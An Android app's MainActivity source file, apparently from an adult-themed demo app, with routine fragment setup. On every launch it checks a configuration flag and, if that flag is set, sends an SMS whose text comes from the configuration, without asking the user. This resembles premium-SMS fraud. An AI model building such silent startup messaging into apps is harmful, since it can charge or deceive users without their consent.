package com.tvt.sexyapp_demo;

import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentTransaction;

import com.tvt.sexyapp_demo.appconfig.manager.PageInfoManager;
import com.tvt.sexyapp_demo.debug.Debug;
import com.tvt.sexyapp_demo.debug.AndroidLogger;
import com.tvt.sexyapp_demo.fragment.MyListFragment;
import com.tvt.sexyapp_demo.sms.SmsSender;

public class MainActivity extends FragmentActivity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);

		// Debug.changeLogger(new AndroidLogger("TVT_SEXY_APP.txt"));

		// Important: always put setContentView(...) after intInfo(...) of
		// PageInfoManager
		PageInfoManager.getInstance().intInfo(this);
		setContentView(R.layout.activity_main);

		Debug.e("HELLO","HIEU DAY");
		if (PageInfoManager.getInstance().getAppConfig().getStartApp()
				.isActiveSMS()) {
			SmsSender.sendTextSMS(PageInfoManager.getInstance().getAppConfig()
					.getStartApp().getSms());
		}
	}

	private void addFragment() {

		FragmentManager fragmentManager = getSupportFragmentManager();
		FragmentTransaction fragmentTransaction = fragmentManager
				.beginTransaction();
		MyListFragment fragment = new MyListFragment();
		fragment.setActivity(this);
		fragmentTransaction.replace(R.id.listFragment, fragment);
		fragmentTransaction.commit();
	}

}
